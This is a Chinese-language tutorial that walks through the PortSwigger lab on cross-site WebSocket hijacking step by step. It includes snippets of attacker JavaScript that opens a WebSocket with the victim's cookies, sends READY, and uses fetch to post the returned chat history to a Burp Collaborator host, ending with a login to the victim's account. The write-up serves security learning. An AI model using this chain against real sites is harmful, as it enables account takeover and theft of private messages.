WebSocket 跨站劫持(CSWSH)漏洞原理与 PortSwigger Lab 实战

📅 2026/7/24 20:58:37 👁️ 阅读次数 📝 编程学习
WebSocket 跨站劫持(CSWSH)漏洞原理与 PortSwigger Lab 实战

在开始实战前向大家推荐一个比较好用的插件(这一关可以用到)

具体作用是实时更换session和查询

第一步:进入 Live chat,发送一条消息

Click "Live chat" and send a chat message.

为什么?

因为你需要先知道WebSocket到底是怎么通信的

普通 HTTP:

浏览器 │ GET /login │ 服务器

WebSocket:

浏览器 ======= WebSocket ======= 服务器

Burp 只有在真正建立 WebSocket 后,才能看到所有发送的数据。

所以这里发送一句

hello

不是为了攻击,而是为了:

让 Burp 抓到 WebSocket 流量。


第二步:刷新页面

Reload the page.

为什么刷新?

很多聊天程序都有这个逻辑:

第一次进入聊天 ↓ 建立WebSocket ↓ 向服务器说: READY

意思就是:

"我已经连接好了,把以前聊天记录发给我。"

如果你不刷新,

Burp可能根本看不到

READY

这个命令。


第三步:观察 READY

Observe that the READY command retrieves past chat messages.

Burp里会看到:

Client ↓ READY

然后服务器:

Server ↓ {"message":"hello"} ↓ {"message":"welcome"} ↓ {"message":"password is ..."}

这里其实是在分析协议。

你需要知道:

服务器到底接受什么命令。

否则后面不知道发什么。

所以这一步实际上是在回答:

"怎样才能让服务器把聊天记录发出来?"

答案:

READY

第四步:找到 WebSocket Handshake

HTTP history → Handshake

很多初学者这里疑惑:

WebSocket不是WebSocket吗?

为什么去HTTP History?

因为:

WebSocket最开始就是HTTP。

例如:

GET /chat HTTP/1.1 Upgrade: websocket Connection: Upgrade Cookie=session=...

服务器:

101 Switching Protocols

以后才变成真正WebSocket。

所以:

Handshake一定在HTTP里面。


第五步:观察没有 CSRF Token

题目说:

Observe no CSRF token

为什么要看?

因为:

如果有:

GET /chat csrf=abc123

攻击者网站:

evil.com

根本不知道:

abc123

连接就建立不了。

所以:

没有CSRF

攻击网站也能连。


第六步:复制 URL

https://lab/chat

复制出来。

为什么?

因为JavaScript必须知道:

WebSocket连哪里。

例如:

new WebSocket(...)

里面必须填目标地址。

所以复制:

https://xxx/chat

改成:

wss://xxx/chat

因为:

HTTPS ↓ WebSocket ↓ WSS

在代码中我们也能找到对应的url在后续的js中使用


第七步:去 Exploit Server

为什么不用自己电脑?

因为:

攻击必须来自

另外一个网站

否则不是

Cross Site。

攻击流程应该是:

受害者 ↓ 访问 evil.com ↓ evil.com JS ↓ 连接 shop.com

PortSwigger给你的Exploit Server就是:

evil.com

攻击者页面(Attacker Page)就是攻击者自己控制的一个网页,上面放着恶意 JavaScript。

PortSwigger的实验里,这个页面就是Exploit Server

攻击者页面就是攻击者控制的网页。在这个实验中,它就是 PortSwigger 提供的 Exploit Server。受害者一旦访问这个页面,浏览器就会执行其中的恶意 JavaScript,这些脚本利用受害者浏览器中已有的登录状态(Cookie)去连接目标网站的 WebSocket,从而读取并窃取受害者的聊天记录。


第八步:写 JavaScript

var ws=new WebSocket(...);

为什么?

因为攻击网站必须:

自己建立WebSocket。

注意:

这里不是偷已有连接。

而是:

攻击网站 ↓ 重新建立一条新的WebSocket

很多人第一次都会误会。

实际上:

浏览器允许:

一个网页 建立 多个WebSocket。

在刚才我们已经知道了url的网址 后续我们得用collaborator获取用户的聊天记录,所以需要我们去burp中新开一个collaborator并复制其url在后续的js中使用

Burp Collaborator 的作用是接收被窃取的数据(Out-of-Band 数据接收),它相当于攻击者控制的一台服务器


第九步:为什么浏览器会自动带 Cookie?

这是整个漏洞核心。

JS:

new WebSocket(...)

浏览器实际发送:

GET /chat Cookie=session=abc123

Cookie:

自动发送。

不是JS自己加的。

所以:

服务器认为:

Cookie正确 ↓ 就是本人

实际上:

Cookie是本人 但是 JS不是本人写的。

所以发生:

身份混淆。


第十步:为什么发送 READY?

代码:

ws.send("READY");

为什么?

因为:

连接建立以后,

服务器不会主动发聊天记录。

必须告诉服务器:

READY

就像:

客户端: 我要聊天记录。

服务器:

好的。

如果不发:

READY

服务器可能什么都不会返回。

所以:

这是为了:

主动触发数据返回。


第十一步:为什么 onmessage?

ws.onmessage=function(event){}

作用:

监听服务器返回。

例如:

服务器:

{"message":"hello"}

浏览器:

event.data

就是:

{"message":"hello"}

没有这个:

你收到的数据根本处理不了。


第十二步:为什么 fetch?

这是:

整个攻击最后一步。

服务器:

聊天记录

现在已经到了:

event.data

但是:

攻击者还不知道。

必须:

event.data ↓ 发送给攻击者服务器

所以:

fetch( 'https://collaborator', { body:event.data } )

就是:

偷到的数据 ↓ POST ↓ Burp Collaborator

这一步叫:

Exfiltration(数据外传)


第十三步:为什么 View Exploit?

点击:

View Exploit

其实:

就是你自己打开:

evil.com

目的:

测试。

看看:

JS ↓ WebSocket ↓ READY ↓ fetch

有没有问题。

如果:

Collaborator收到:

聊天记录

说明:

攻击成功。

拿到聊天记录后就能登入账户了


第十四步:为什么 Deliver Exploit?

这是很多人最容易忽略的一步。

前面:

View Exploit

攻击的是:

自己。

因为:

浏览器Cookie:

你的Cookie

真正实验目标:

Victim

所以:

Deliver以后:

Victim ↓ 打开evil.com ↓ JS运行 ↓ 自动带Victim Cookie ↓ READY ↓ 聊天记录 ↓ Collaborator

这样:

偷到的才是:

Victim聊天记录。


第十五步:为什么聊天记录里会有密码?

实验故意设计:

管理员聊天:

username=carlos password=123456

或者:

login: wiener password: peter

攻击者:

Collaborator ↓ 收到JSON ↓ 看到账号密码

于是:

登录:

Login ↓ 实验完成。

整个实验的攻击链

把所有步骤串起来,其实就是下面这条完整的攻击流程:

① Burp 抓包 │ ▼ 分析 WebSocket 协议 │ ▼ 发现 READY 可以获取聊天记录 │ ▼ 找到 Handshake │ ▼ 发现没有 CSRF Token / Origin 校验 │ ▼ 编写恶意 JS │ ▼ new WebSocket() 建立连接 │ ▼ 浏览器自动携带 Victim 的 Session Cookie │ ▼ 发送 READY │ ▼ 服务器返回历史聊天记录 │ ▼ onmessage 接收数据 │ ▼ fetch() 将数据发送到 Burp Collaborator │ ▼ 攻击者获得 Victim 的聊天记录 │ ▼ 从聊天记录中提取用户名和密码 │ ▼ 登录 Victim 账户,实验完成